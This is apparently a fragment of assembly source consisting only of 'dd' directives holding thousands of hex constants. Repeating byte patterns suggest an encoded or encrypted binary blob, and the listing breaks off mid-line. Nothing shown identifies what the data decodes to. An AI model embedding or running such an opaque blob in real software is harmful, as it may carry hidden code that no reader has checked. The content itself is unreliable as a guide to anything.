dd 30484902h, 4849CC33h, 0A7B8E7B0h, 0AAB008A7h, 0FB585854h dd 48516C68h, 49CC0230h, 0B8F2B048h, 0B008A7A7h, 58585485h dd 595790FBh, 0CC1A3048h, 0CDB04849h, 8A7A7B8h, 585490B0h dd 71A0FB58h, 6C30485Dh, 0B04849CCh, 0A7A7B8D8h, 54EBB008h dd 38FB5858h, 30484901h, 4849CC71h, 0A7B833B0h, 0C6B008A7h dd 0FB585854h, 485978CCh, 49CC4030h, 0B80EB048h, 0B008A7A7h dd 585854D1h, 58A860FBh, 0CC503048h, 19B04849h, 8A7A7B8h dd 58542CB0h, 6A40FB58h, 0AE30485Dh, 0B04849CBh, 0A7A7B874h dd 5407B008h, 68FB5858h, 30484937h, 4849CBBFh, 0A7B84FB0h dd 12B008A7h, 0FB585854h, 48511110h, 49CB8E30h, 0B85AB048h dd 0B008A7A7h, 5858546Dh, 49013CFBh, 0CB9C3048h, 0B5B04849h dd 8A7A787h, 585478B0h, 7DF0FB58h, 0E0304859h, 0B04849CBh dd 0A7A78780h, 5453B008h, 58FB5858h, 304858A8h, 4849CBF0h dd 0A7879BB0h, 0AEB008A7h, 0FB585853h, 4858A81Ch, 49CBC930h dd 87F6B048h, 0B008A7A7h, 585853B9h, 597DE8FBh, 0CB2F3048h dd 0C1B04849h, 8A7A787h, 585394B0h, 140FB58h, 3A304851h dd 0B04849CBh, 0A7A787DCh, 53EFB008h, 0D0FB5858h, 30485978h dd 4849CB0Dh, 0A78737B0h, 0FAB008A7h, 0FB585853h, 48493744h dd 49CB6630h, 8702B048h, 0B008A7A7h, 585853D5h, 59D09CD9h dd 0ACFB5858h, 9B485D71h, 9BDD10Dh, 8A41DD5h, 49D890F9h dd 185D5B48h, 0DB4849D9h, 0A7085AB0h, 49D9D86Dh, 502DA748h dd 885DE757h, 5B4849D8h, 49DA645Dh, 5EB0DB48h, 0D9E8F908h dd 0B0DB4849h, 4DA7085Fh, 48493778h, 104DA708h, 91485111h dd 77300F9Bh, 0B04849CBh, 0A7A786ACh, 4DA70801h, 48597DC0h dd 49DAD8FBh, 0D9BCF948h, 0B0DB4849h, 0D85D615Ch, 2D4849DAh dd 0CB78304Fh, 95B04849h, 1A7A786h, 404DA708h, 0FB485D6Ah dd 4849DAD8h, 49CB5230h, 86EEB048h, 801A7A7h, 0DAD86DA7h dd 4DA74849h, 485979F4h, 58A870FBh, 0D9B0748h, 0B09BDD1h dd 501DD30Eh, 0D16428D3h, 0D39959A9h, 0DD37019h, 482CD550h dd 1EEE5755h, 6C4DD359h, 0D94849D9h, 5859A69Ah, 579BD158h dd 0EE5782F7h, 15A8DB5Eh, 0D3A71DD0h, 49D90855h, 5AB1DB48h dd 0EE5756B3h, 0EE57565Ch, 8869A70Dh, 19565CD0h, 0B62A8161h dd 0D1541DD3h, 6A8D140h, 0D9B9103h, 0B4D9BDD1h, 58585954h dd 5025D30Fh, 58595C30h, 0A0DDD558h, 8A7A7A6h, 7DE84DA7h dd 0E7574859h, 49D9705Dh, 204DD348h, 5B4849D9h, 49D8E84Dh dd 56B2DB48h, 0AE5DCCD0h, 30A7A7A6h, 5858595Ch, 0A6A0DDD5h dd 0D508A7A7h, 2 dup(0D508A41Dh), 0A7A6ACDDh, 5C3008A7h dd 0D5585859h, 0A7A6A0DDh, 0DDD508A7h, 0A7A7A6A0h, 584DA708h dd 30485101h, 4849CB5Ah, 0A7859FB0h, 0ACEDA7A7h, 8A7A7A6h dd 704DA70Fh, 0DB485501h, 0E757489Ch, 49DA185Dh, 50B0DB48h dd 0B3A41DD1h, 0A41DD377h, 645F5CD2h, 64542419h, 0D3502702h dd 0A059A41Dh, 0D37858D8h, 5CD2A41Dh, 2468645Fh, 27616454h dd 0A41DD350h, 58D8A059h, 0A41DA769h, 49D928F9h, 5C98DB48h dd 2AA41D61h, 9B91079Ch, 0EBDD10Dh, 5025D30Fh, 0D1542DD3h dd 481D6BA8h, 0D14C1D6Bh, 0D19A59A2h, 401D5B88h, 255B9FD1h dd 442DA778h, 5E69B00Fh, 9CDB5858h, 599FD150h, 7A0D1AFh dd 0D9B0506h, 1EB0BDD1h, 0F9A7A7ABh, 4849D9F8h, 0D8B05D5Bh dd 0B0DB4849h, 184DD35Fh, 0D94849D9h, 58B2079Ah, 9AF75758h dd 7C4DA708h, 1485501h, 9A058CB3h, 0D10D585Ch, 0F0E0BBDh dd 0F95005D3h, 4849DA10h, 6D5B9ED1h, 4849D9D0h, 0B351B6DBh dd 184DA76Dh, 0D3484928h, 49D9F865h, 0B9FDB48h, 0FC4DE757h dd 594849D9h, 158BE28Fh, 0D109483Ah, 99B2AF99h, 0A1995FA2h dd 0D1927147h, 9F590188h, 4CD0A2D1h dd 2D631E6Bh, 0D39E2454h, 4DD3541Dh, 4849DA68h, 0D8B44D5Bh dd 0B2DB4849h, 5B4CD05Ah, 60780D1h, 0D9B0503h, 0D30FBDD1h dd 2DA7541Dh, 482DA74Ch, 0A7542DA7h, 4DA7502Dh, 48597D90h dd 489A0507h, 0BDD10D58h, 0F0E0B09h, 0D3502DD3h, 0D13E401Dh dd 84F9401Dh, 0DB4849D9h, 5D5B5A98h, 4849D990h, 7D885D61h dd 552B4859h, 49D9ECF9h, 5CB0DB48h, 597D88FBh, 0D998F948h dd 9FD14849h, 0D8B0655Bh, 0B7DB4849h, 0D554B35Ah, 48B8E544h dd 86614859h, 0F91F4D2Ch, 4849D98Ch, 585B855Dh, 5D5B58h dd 614849D9h, 57B82A9Fh, 0D9605DE7h, 0E7574849h, 49D93C4Dh dd 48DCD548h, 58585BBCh, 5F2D9F61h, 23B19869h, 57585859h dd 48256CEFh, 0D3485D72h, 49DA4C45h, 0BC455B48h, 0DB4849D8h dd 86615FB3h, 0EE576E2Dh, 79E8655Ch, 0A7084859h, 5878E56Ch dd 86B04859h, 0DB585847h, 0E757509Ch, 49D9A86Dh, 806D5B48h dd 0DB4849D8h, 6CD154B6h, 5948B8E5h, 0B1986948h, 58585972h dd 256CEF57h, 485D7248h, 0D98845D3h, 9BD94849h, 5858A7ACh dd 0D9EC455Bh, 86614849h, 58B1DD57h, 0B0F95858h, 574849D8h dd 0D8944DE7h, 88594849h, 0D15AB0DBh, 0E1B1A41Dh, 0D3585858h dd 0ABD1A42Dh, 0D35ABB99h, 49D9804Dh, 8C4D5B48h, 0DB4849D9h dd 4C6154B2h, 5948B845h, 0CADC5748h, 57585858h, 482D4CEFh dd 0D3485D72h, 49D94855h, 0AE99D948h, 575858A7h, 0DA405DE7h dd 99594849h, 292C9261h, 78E54CD3h, 61485958h, 5878454Ch dd 392D4859h, 0E86D44D2h, 62485979h, 79E86544h, 92D4859h dd 2D6CEF57h, 485D7248h, 0D9DC45D3h, 0B3DB4849h, 2D86615Bh dd 0A42DD375h, 6D44EE57h, 485979E8h, 0ED6CA70Bh, 48595878h dd 5846A8B0h, 509CDB58h, 0DA6C6DD3h, 0B6DB4849h, 0E56CD150h dd 485948B8h, 2DD37DB3h, 2D6CD5A4h, 485D7248h, 0B356A73Eh dd 0A41DA74Eh, 49D928F9h, 5BBC5D48h, 1D615858h, 6CDA57A4h dd 69A7A7A7h, 5747B398h, 48256CEFh, 0D3485D72h, 49DA1045h dd 5BB3DB48h, 50268661h, 2554A73Eh, 485D7248h, 6079869h dd 7C9A9103h, 0BDD10D58h, 584A54E0h, 0DD4FB058h, 0E0B5858h dd 0D6AB300Fh, 15B04849h, 8A7A782h, 0A859E5D5h, 0A70FA7A7h dd 5501704Dh, 549CDB48h, 49D90CF9h, 5B9ED148h, 49D9B86Dh dd 54B6DB48h, 0E4D878B3h, 0A7A8596Dh, 4D2D7BA7h, 49D9D0F9h dd 745D5B48h, 0DB4849D9h, 0DCD055B0h, 0A7A8596Dh, 0A6D91EA7h dd 585857A7h, 0E757802Ah, 49DA1C5Dh, 5B9BD148h, 49D97445h dd 57B3DB48h, 49D9A0F9h, 4DE75748h, 4849D9FCh, 0B0DB8859h dd 0A4DDD151h, 0F9A7A7B7h, 4849DA58h, 615DB0DBh, 72D501Dh dd 61541DD3h, 0A7B7A4DDh, 0D54F2DA7h, 0A85945DCh, 3008A7A7h dd 48490128h, 58DCD4B0h, 5AC0B158h, 0D4D55858h, 0A7A85945h dd 0A790DBA7h, 5964D818h, 59A12D58h, 599BDB9Bh, 0B7A4DDA7h dd 0E657A7A7h, 0A85945DCh, 4DD3A7A7h, 4849DA54h, 0D9804D5Bh dd 0B2DB4849h, 57886150h, 585A05DCh, 57F9B358h, 0DA1C5DE7h dd 9BD14849h, 0D904455Bh, 0B3DB4849h, 0DAF8F953h, 0DDD14849h dd 0A7A7B7A0h, 0CC5DE757h, 104849D9h, 57500DD3h, 0D8CC55E7h dd 0B1DB4849h, 5A54D05Ah, 49D9E0F9h, 4DE75748h, 4849D970h dd 0B0DB8859h, 0A4DDD151h, 0A7A7A7B7h, 4928184Dh, 584CE148h dd 0AFC15858h, 0ACCDD1A1h, 30A7A7B7h, 4849D6B0h, 0A7815BB0h dd 0E5D508A7h, 0A7A7B6ADh, 0DB8BB00Fh, 0DCD55858h, 0A7A85945h dd 0DDD508A7h, 0A7A7B6ADh, 744DA708h, 0DB4858A8h, 64F9549Ch dd 0DB4849DAh, 0DD615A98h, 0A7A7B7ACh, 5886DB57h, 0EDA75858h dd 0A7A7B7A0h, 0B5AEDDD5h, 0B008A7A7h, 58583416h, 1C5DE757h dd 0DB4849D9h, 0D5085BB0h, 0A7B6ADDDh, 2DA708A7h, 5391B050h dd 9CDB5858h, 8865D34Ch, 0D94849D9h, 58A7AC9Fh, 44655B58h dd 614849DAh, 0D57F2DA0h, 0A7B6ADDDh, 2DA708A7h, 744DA750h dd 304858A8h, 4849D6BBh, 0A78033B0h, 2DA708A7h, 744DA750h dd 0DB4858A8h, 24F94C9Ch, 0DB4849D9h, 0D5085EB0h, 0A7B5AEDDh dd 2DA708A7h, 5329B050h, 9CDB5858h, 0D465D354h, 0D94849D9h dd 58A7A69Fh, 64655B58h, 614849DAh, 30632DA0h, 4849D680h dd 0A7807BB0h, 2DA708A7h, 744DA750h, 0D54858A8h, 0A7B5AEDDh dd 2DA708A7h, 744DA750h, 304858A8h, 4849D68Bh, 0A78FA7B0h dd 2DA708A7h, 744DA750h, 0DB4858A8h, 0DDA7789Ch, 0A7A7B7A0h dd 0B7A4EDA7h, 0B1B0A7A7h, 158585Ch, 0B7ACDDD1h, 0E757A7A7h dd 49D97055h, 0DC555B48h, 0DB4849D9h, 90615FB1h, 0E7570C2Bh dd 49D8885Dh, 5DB0DB48h, 0ADDDD508h, 8A7A7B6h, 0B0502DA7h dd 5858528Fh, 0D3549CDBh, 49D88465h, 0A39FD948h, 615858A7h dd 0D57F2DA0h, 0A7B6ADDDh, 2DA708A7h, 744DA750h, 304858A8h dd 4849D696h, 0A78F27B0h, 2DA708A7h, 744DA750h, 0DB4858A8h dd 0D4D54C9Ch, 0A7A85945h, 0A790DBA7h, 5964D818h, 59A12D58h dd 0A4DDA79Bh, 0DBA7A7B7h, 0E657599Bh, 0A85945DCh, 4DD3A7A7h dd 4849D944h, 1855E757h, 594849DAh, 52B2DB92h, 0DD578861h dd 0A7A7A64Bh, 49D69130h, 8F72B048h, 0A708A7A7h, 4DA7502Dh dd 4858A874h, 0D3549CDBh, 0A7B7A0DDh, 0DAF8FBA7h, 6074849h dd 0B9B9103h, 2CD30F0Eh, 24D3487Ch, 0A1D14C7Ch, 0BB8BABD1h dd 0D92C4DD3h, 9ADB4849h, 504D5B49h, 0D14849D9h, 0D1A17189h dd 51B08BA8h, 780D19Bh, 0D9B0306h, 0B4D9BDD1h, 5858597Ch dd 300F0E0Bh, 585E42D8h, 4DA71832h, 485D71B4h, 0B8309BD1h dd 32585CCBh, 0B44DA718h, 0D1485D71h, 1DD3A41Dh, 5A98DB50h dd 0A42DA708h, 58D9D8B0h, 0A41DD358h, 90DB99D1h, 64D818A7h dd 0A12D5859h, 0D3A01DD1h, 49D98865h, 5FB7DB48h, 0A0D163B3h dd 0D1A41D5Bh, 0A7A6B0DDh, 48EE57A7h, 0A6B8CDD1h, 0A0D1A7A7h dd 0A6BCDDD1h, 0BFAFA7A7h, 0A684DDD1h, 0DDD3A7A7h, 0A7A7A6B8h dd 0A684CDD3h, 8859A7A7h, 0A6B0CDD3h, 5AD0A7A7h, 0A025631Fh dd 0E757982Ah, 49D9645Dh, 4DE75748h, 4849D910h, 2E48DCD5h dd 8585E42h, 0A02DA70Bh, 0B0A42DA7h, 585861F8h, 0D3489CDBh dd 49D8C86Dh, 5CB6DB48h, 64D84DB3h, 5C2D656Bh, 716B5C9Eh dd 736B64D8h, 5C9E5C2Dh, 0D11E706Bh, 0A790DB81h, 5964D818h dd 61A12D58h, 57832A9Eh, 0D9C05DE7h, 5D5B4849h, 4849D8C8h dd 0D35DB0DBh, 64D8500Dh, 492D135Ah, 5978F830h, 0B4DDD548h dd 8A7A7A6h, 58D8FCB0h, 5DE75758h, 4849D9A8h, 0D35EB0DBh dd 64D8500Dh, 492D1C5Ah, 516C1830h, 0B4DDD548h, 8A7A7A6h dd 58D8D8B0h, 5DE75758h, 4849DA18h, 0D350B0DBh, 64D8500Dh dd 6A2D085Ah, 51106830h, 0B4DDD548h, 8A7A7A6h, 58D804B0h dd 0DA70F958h, 0B0DB4849h, 0D50B085Fh, 0A7A6B4DDh, 37B008A7h dd 0DB58587Eh, 9851549Ch, 59DADD57h, 0C8F95858h, 5B4849D8h dd 49D88C5Dh, 51B0DB48h, 0D8E4F908h, 0E7574849h, 49D9404Dh dd 0DB885948h, 320850B0h, 0DA74F95Ch, 0B0DB4849h, 0E757085Fh dd 49D9A85Dh, 5EB0DB48h, 58583008h, 0DDD51858h, 0A7A7A6B4h dd 404DA708h, 0D1484933h, 5A32AC1Dh, 49D8C8F9h, 5CB0DB48h dd 5DE75708h, 4849D960h, 884DE757h, 594849D8h, 51B0DB88h dd 0AC2DA708h, 37684DA7h, 99304849h, 0B04849D6h, 0A7A78CB8h dd 4DE75701h, 4849DA40h, 0A80DD50Ah, 144DD30Ah, 574849DAh dd 0D96455E7h, 92594849h, 0A56B2DBh, 0AC2DA708h, 37444DA7h dd 14F94849h, 574849D9h dd 0D9F04DE7h, 88594849h, 0D35AB0DBh, 64D8500Dh, 6A2D135Ah dd 49D6E430h, 8CCAB048h, 5701A7A7h, 0D9104DE7h, 0A124849h dd 0AA80DD5h, 0DA104DD3h, 4D5B4849h, 4849DA7Ch, 0A5CB2DBh dd 0AC2DA708h, 37444DA7h, 48F94849h, 0DB4849D9h, 0DD351B0h dd 5A64D850h, 30642D08h, 4849D6EFh, 0A78C17B0h, 4DD301A7h dd 4849D998h, 0A455E757h, 594849D8h, 5BB2DB92h, 0A80DD50Ah dd 0B04DD30Ah, 574849D8h, 0D95C55E7h, 92594849h, 2DA7080Ah dd 444DA7ACh, 0D1484937h, 0A790DB81h, 5964D818h, 0D3A12D58h dd 49D90C55h, 5C555B48h, 0DB4849DAh, 0D50952B1h, 0D309A815h dd 49D9A055h, 5AB1DB48h, 92599AD1h, 2DA70B0Ah, 444DA7ACh dd 0A7484937h, 4DA7AC2Dh, 48511110h, 0A7A42DA7h, 597D944Dh dd 4DA70B48h, 48597D94h, 91030607h, 0BDD10D9Bh, 502DA70Fh dd 0DA0C6DA7h, 4DA74849h, 485979F4h, 5079FD1h, 0BDD10D9Bh dd 0E0B0809h, 5DE7570Fh, 4849D8ECh, 0F04DE757h, 0D14849D9h dd 0DB8E599Eh, 1DD55DB6h, 503008A4h, 0D34849C2h, 0D308501Dh dd 454CA740h, 58585858h, 4CF99FD1h, 5B4849D9h, 49D9805Dh dd 5DB0DB48h, 5C2C9F61h, 3FB39869h, 8A01DD5h, 0D3482DA7h dd 0D308A41Dh, 480BA740h, 0C8F99FD1h, 5B4849D8h, 49D9505Dh dd 54B0DB48h, 602D9F61h, 0A74C2DA7h, 1DD3542Dh, 40D308A0h dd 0D14C0BA7h, 0DA7CF99Fh, 0E7574849h, 49D8CC4Dh, 0DB885948h dd 9F615BB0h, 6DD3512Dh, 4849D8A8h, 0D35AB6DBh, 0D308A01Dh dd 500BA740h, 8A41DD3h, 0BA740D3h, 7A8D150h, 9B910306h dd 7C2CD30Eh, 57A9D150h, 0D8F05DE7h, 5D5B4849h, 4849D8FCh dd 6D259961h, 0F05DE757h, 5B4849D8h, 49D90C5Dh, 5BB0DB48h dd 0F990F757h, 4849D880h, 0D15DB0DBh, 0F99A59AAh, 4849D8F8h dd 0D9445D5Bh, 57104849h, 897188F7h, 585966B1h, 0E7571158h dd 49DA485Dh, 5798DB48h, 79259961h, 49DA6CF9h, 5EB0DB48h dd 0D190F757h, 0D3A87190h, 49D9F44Dh, 539ADB48h, 897199D1h dd 585956B1h, 0E7571158h, 49D9A85Dh, 904DD348h, 0D54849D9h dd 614C481Ch, 57702599h, 0D9CC5DE7h, 5D5B4849h, 4849D9ACh dd 575FB0DBh, 60F990F7h, 0DB4849DAh, 5D5B6298h, 4849D9F8h dd 88B19971h, 11585858h, 49D954F9h, 7A98DB48h, 7A259961h dd 505DE757h, 5B4849DAh, 49D9085Dh, 5BB0DB48h, 0F990F757h dd 4849D9D0h, 711998DBh, 58F9B199h, 0F9115858h, 4849D9D8h dd 577398DBh, 0D9CC4DE7h, 88594849h, 41259961h, 945DE757h dd 0DB4849D9h, 0F7575FB0h, 0D900F990h, 98DB4849h, 0B3997109h dd 0E757112Ah, 49D8AC5Dh, 204DD348h, 0D54849D9h, 6173481Ch dd 577A2599h, 0D9105DE7h, 0E7574849h, 49D9604Dh, 0DB885948h dd 0F7575AB0h, 0D930F990h, 98DB4849h, 0B3997130h, 28F91162h dd 0DB4849D9h, 99616D98h, 68F97B25h, 5B4849D9h, 49D9385Dh dd 5EB0DB48h, 0F990F757h, 4849D988h, 5B3098DBh, 49D9685Dh dd 0B3997148h, 0D9B4F952h, 98DB4849h, 0D199716Eh, 0D9B0690h dd 0B09BDD1h, 1DD30F0Eh, 40EE5750h, 885DE757h, 0D34849D8h dd 49D94C4Dh, 48DCD548h, 585858A1h, 0D380F757h, 0EE57501Dh dd 9B595918h, 505DE757h, 574849DAh, 0D8884DE7h, 0DCD54849h dd 5858A148h, 80F75758h, 57501DD3h, 595A18EEh, 86DD39Bh dd 0DB4849D9h, 13B35CB6h, 0D95865D3h, 0B7DB4849h, 0D3AF715Eh dd 0DD1540Dh, 0D982D1A4h, 585867BAh, 125D25D8h, 1A9892DBh dd 184D4CD2h, 0D3484937h, 4CD0A415h, 0D380D161h, 49D90465h dd 6F9FDB48h, 0A04DE757h, 0D14849D8h, 0C18959A1h, 9BD1A1AFh dd 57599EDBh, 0D8A45DE7h, 5D5B4849h, 4849D97Ch, 0FC249E61h dd 91030607h, 0BDD10D9Bh, 0D30F0809h, 8CB05025h, 5158586Fh dd 0A77C2C98h, 49DAD06Dh, 0F593248h, 1304DA7h, 1DD14849h dd 0D06DA7A4h, 324849DAh, 4DA70F5Ch, 48490130h, 7A01DD1h dd 0D10D9B91h, 0F0E0BBDh, 0D3542DD3h, 0C0304825h, 0E4849C2h dd 1644DA7h, 98514855h, 1DD3482Ch, 0A75FD150h, 0A740D36Fh dd 98695C0Bh, 403017B3h, 0E4849C2h, 1644DA7h, 98514855h dd 1DD3482Ch, 0A75FD150h, 0A740D36Fh, 98695C0Bh, 0A03077B3h dd 0E4849C1h, 1644DA7h, 98514855h, 1DD3482Ch, 0A75FD150h dd 0A740D36Fh, 98695C0Bh, 0F4F957B3h, 0DB4849D8h, 5FD15FB0h dd 58185AE0h, 30607D8h, 58549A05h, 0D9BDD10Dh, 585A30B4h dd 0F0E0B58h, 4DA75832h, 4855017Ch, 301B8369h, 4849D6F7h dd 0A7978BB0h, 502DA7A7h, 0E6E5D508h, 0FA7A7A5h, 1704DA7h dd 9CDB4855h, 9ADDD54Ch, 8A7A7A6h, 0A5E6DDD5h, 0A708A7A7h dd 516A704Dh, 0E0DDD148h, 0D3A7A7A5h, 49D9EC55h, 555B48h dd 0DB4849D9h, 81AF5EB1h, 0DD579061h, 585859B1h, 49D94CF9h dd 5BA55D48h, 5D5B5858h, 4849D930h, 2B741D61h, 0D9E4F944h dd 0CF5D4849h, 57585858h, 0D9B04DE7h, 88594849h, 57741D61h dd 585AD9DDh, 5DE75758h, 4849D8A4h, 615AB0DBh, 0DF57701Dh dd 58585A36h, 405DE757h, 5D4849D9h, 585B5560h, 57741D61h dd 585A01DFh, 781DD558h, 481DD508h, 484DA708h, 0D1484933h dd 0A7A5F8DDh, 0D9A0F9A7h, 5D5B4849h, 4849D928h, 615FB0DBh dd 0A7A5F8DDh, 0D55525A7h, 0A7A5C0E5h, 782DD5A7h, 53B3FDFDh dd 0A5C0E5D5h, 2DD5A7A7h, 0D5FDFD48h, 0A7A5F0DDh, 0DDD508A7h dd 0A7A7A5C0h, 204DA708h, 57484902h, 0D9C85DE7h, 0EF574849h dd 0A7A5EACDh, 0D5EF57A7h, 0A7A7A5E8h, 0D96C6DD3h, 9EDB4849h dd 96F75762h, 0EF579259h, 0A7A5F6D5h, 246DD3A7h, 0DB4849D9h dd 6D5B559Eh, 4849D928h, 5796F757h, 0D99C6DE7h, 65D34849h dd 4849DA6Ch, 74662CD5h, 5996F757h, 0D5EF5792h, 0A7A7A5F2h dd 0D8A86DD3h, 9EDB4849h, 6D5B40h, 574849D9h, 9ED196F7h dd 57489EDBh, 6DD396F7h, 4849D9A0h, 5B6C9EDBh, 49DA586Dh dd 96F75748h, 0EF579259h, 0A7A5F0D5h, 0E06DD3A7h, 0DB4849D9h dd 6D5B5C9Eh, 4849D9DCh, 0D396F757h, 49DA786Dh, 429EDB48h dd 0AC65E757h, 594849D8h, 96F757A6h, 9C6DE757h, 0D54849D8h dd 5752681Ch, 64F990F7h, 0DB4849DAh, 5D5B6C98h, 4849D9F8h dd 0D190F757h, 0D1905988h, 0A7A5FCDDh, 684DD3A7h, 614858A8h dd 4FDF5788h, 71585859h, 0D88CF99Ah, 98DB4849h, 55E75750h dd 4849D9B0h, 9A619059h, 58A4DB57h, 0E4F95858h, 5D4849D9h dd 585858C6h, 2C741D61h, 0A758324Ah, 4EB0502Dh, 0DB58583Dh dd 83B1509Ch, 32585858h, 502DA759h, 583D5CB0h, 509CDB58h dd 585891B1h, 0B6E5D858h, 76A7A7A6h, 58E0DC57h, 0FE305858h dd 0B04849D6h, 0A7A795D4h, 0A6B6E5D5h, 0A70FA7A7h, 0D508502Dh dd 0A7A5E6E5h, 4DA70FA7h, 48550170h, 0A69AEDD5h, 0B4D9A7A7h dd 58585918h, 0C7E1BFD1h, 0AB585858h, 0E5D5FD3Eh, 0A7A7A5E6h dd 0A506B00Fh, 9CD9A7A7h, 58585900h, 0DDD534B3h, 0A7A7A69Ah dd 0E0EDA708h, 0A7A7A7A5h, 5957904Dh, 519BD148h, 0D80F2C83h dd 0A7A6B6E5h, 122C76A7h, 49D6C530h, 9546B048h, 0E5D5A7A7h dd 0A7A7A6B6h, 502DA70Fh, 0E6E5D508h, 0FA7A7A5h, 1704DA7h dd 0EDD54855h, 0A7A7A69Ah, 5918B4D9h, 0BFD15858h, 5858C7E1h dd 0FD3EAB58h, 0A5E6E5D5h, 0B00FA7A7h, 0A7A7A4A8h, 59009CD9h dd 83515858h, 607C82Dh, 0D9B9103h, 0B4DBBDD1h, 0F0E0B54h dd 49D928F9h, 5CB0DB48h, 0D3A01DD1h, 99D1541Dh, 18A790DBh dd 585964D8h, 9ED1A12Dh dd 0D5501DD3h, 0A790DB50h, 5964D818h, 0D1A12D58h, 0F4F9AC1Dh dd 0DB4849D9h, 1DD15AB0h, 0D315B3A4h, 49D96845h, 0E8F91348h dd 0D14849D8h, 24655B9Fh, 0DB4849D9h, 75B354B7h, 59A41DD3h dd 500DD3A0h, 5A5CE657h, 57540DD3h, 61624CE6h, 1B422D88h dd 482DAB61h, 0D3A01DA7h, 1D61481Dh, 0D35D2DA0h, 4DB3A41Dh dd 2AAF611Fh, 0A41DA797h, 61AC1DD3h, 0F32AA41Dh, 58A7A7E0h dd 3060758h, 0D10D9B91h, 0E0B09BDh, 5025D30Fh, 0DA0865DBh dd 2D584849h, 2808304Dh, 4DA74849h, 48595794h, 0DA085D9Fh dd 58594849h, 6DD35858h, 4849D974h, 0D9B86D5Bh, 0B6DB4849h dd 47EE575Eh, 5A0FEE57h, 998AEF57h, 8B5150BAh, 0D383EF57h dd 49D9984Dh, 0F7571A48h, 3E865982h, 57A42DD1h, 0D3A41DEFh dd 49D9A44Dh, 5D9ADB48h, 0D9684D5Bh, 88614849h, 58D8DC57h dd 8305858h, 0A7484928h, 4901044Dh, 0D96CF948h, 98DB4849h dd 1DD13E5Ch, 577AB3A6h, 59A61DEFh, 48E657A0h, 5C17E657h dd 48D09269h, 0A61DEF57h, 0D94C4DD3h, 591A4849h, 1DD13E88h dd 1DEF57A6h, 0DEF57A6h, 248861A4h, 0D94CF98Ah, 0D3104849h dd 49D9AC4Dh, 744D5B48h, 0DB4849DAh, 4CD048B2h, 5DE7575Fh dd 4849D91Ch, 0D35AB0DBh, 49D9204Dh, 51B2DB48h, 305F4CD0h dd 48492808h, 11184DA7h, 1FD54851h, 306075Eh, 0D10D9B91h dd 0D4B4D9BDh, 0B58585Ah, 25D30F0Eh, 6DE75750h, 4849D960h dd 0A44DE757h, 0D54849D8h, 8B534E14h, 6DE757B7h, 4849D89Ch dd 0D9B44DD3h, 2CD54849h, 0A9D15F4Eh, 0BB8BA3D1h, 0A6B4C5D1h dd 80D1A7A7h, 1560D93Eh, 0F9562C02h, 4849D90Ch, 58A7A05Dh dd 0B39B7158h, 0D8A8F9BBh, 98DB4849h, 4DE7576Bh, 4849D888h dd 82D18859h, 0CDD19A59h, 0A7A7A6ACh, 82D188D1h, 0CDD1485Bh dd 0A7A7A6B0h, 61501DD3h, 57402E9Ah, 0D9C05DE7h, 4DD34849h dd 4849D9C4h, 0A348DCD5h, 715858A7h, 0D3C5B39Bh, 0A7A6B0DDh dd 0BCDDD1A7h, 57A7A7A6h, 86558EFh, 2C58581Dh, 0DA4CF949h dd 0A55D4849h, 715858A7h, 0A72EB19Bh, 0DDD3A7A7h, 0A7A7A6BCh dd 0D12018D3h, 0A7A6B8DDh, 5981D1A7h, 0A8D5D199h, 0D1A7A7A6h dd 5B82D190h, 0D50A5408h, 0A7A6A5DDh, 7AB008A7h, 0F958582Dh dd 4849D9A0h, 0D15BB0DBh, 7AB3A41Dh, 0D2A41DD3h, 0A6A55DDCh dd 3964A7A7h, 22644926h, 1DD35525h, 5DDCD5A4h, 0A7A7A6A5h dd 0A77870D8h, 1DD3A41Dh, 0DCE657A4h, 0A7A6A55Dh, 504DD3A7h dd 574849D9h, 0D89455E7h, 92594849h, 6151B2DBh, 0D8E52D88h dd 0A7A6A7E5h, 692C0AA7h, 0A75BE5D8h, 2C6BA7A7h, 0A6E5D870h dd 1DA7A7A6h, 0E5D8472Ch, 0A7A7A75Ah, 0D84E2C14h, 0A7A6A5E5h dd 552C13A7h, 0A75CE5D8h, 576AA7A7h, 585A7BDDh, 0D900F958h dd 0B0DB4849h, 0A0DDD15Bh, 0B1A7A7A6h, 585859A3h, 0A6A0DDD3h dd 55D3A7A7h, 4849D930h, 0AF5A99DBh, 80DDD1B9h, 0D1A7A7A5h dd 0D39A5982h, 0A7A6A8DDh, 78085BA7h, 0A6ACCDD1h, 88D1A7A7h dd 485B82D1h, 0A584CDD1h, 0D50AA7A7h, 0A7A5B9DDh, 1AB008A7h dd 0F958582Ch, 4849D9B8h, 0B85DE4D8h, 8A7A7A5h, 59C7DD57h dd 38F95858h, 0D84849D9h, 0A5845DE4h, 572CA7A7h, 5859D4DDh dd 0DA14F958h, 9AD14849h, 0E4D89A59h, 0A7A58E4Dh, 0DD5719A7h dd 5858592Dh, 49D9C4F9h, 0E85D5B48h, 0D84849D8h, 0A5805DE4h dd 571FA7A7h, 585904DDh, 5DE75758h, 4849D8A4h, 0D9805D5Bh dd 0E4D84849h, 0A7A5B95Dh, 0DD573BA7h, 58585919h, 405DE757h dd 0D84849DAh, 0A5B35DE4h, 572AA7A7h, 585974DDh, 0A0DDD358h dd 0D3A7A7A6h, 49DA4C55h, 6DE75748h, 4849D8ECh, 0B1DBA959h dd 0D1B9AF5Eh, 0A7A520DDh, 5982D1A7h, 0A8DDD39Ah, 5BA7A7A6h dd 0CDD17C08h, 0A7A7A6B4h, 0D15AEF57h, 0A7A58CDDh, 7455D3A7h dd 0DB4849D9h, 0B9AF5CB1h, 0A52CDDD1h, 82D1A7A7h, 0DDD39A59h dd 0A7A7A6A8h, 0D144085Bh, 0A7A6ACCDh, 0D188D1A7h, 0D1485B82h dd 0A7A588CDh, 0E3E5D5A7h, 0D5A7A7A5h, 49DB546Dh, 584DE148h dd 0FCAB5858h, 0A5F6E5D5h, 6DD5A7A7h, 4849DB79h, 585855E1h dd 0D1FCAB58h, 49DA0C45h, 88DDD348h, 0FBA7A7A5h, 485979F4h dd 0A5C1E5D5h, 6DD5A7A7h, 4849DB76h, 58584DE1h, 0D5FCAB58h dd 0A7A527E5h, 1B6DD5A7h, 0E14849DBh, 58585855h, 0D5FD3EABh dd 0A7A5E3DDh, 6DA708A7h, 4849DA0Ch, 79F44DA7h, 18FB4859h dd 0D5485111h, 0A7A527DDh, 6DA708A7h, 4849DA0Ch, 79F44DA7h dd 94FB4859h, 0D5485957h, 0A7A5F6DDh, 6DA708A7h, 4849DA0Ch dd 79F44DA7h, 78FB4859h, 0D5484937h, 0A7A5C1DDh, 6DA708A7h dd 4849DA0Ch, 79F44DA7h, 4FB4859h, 0B3484901h, 0A0DDA743h dd 0D3A7A7A6h, 0A7A6A8DDh, 4018D3A7h, 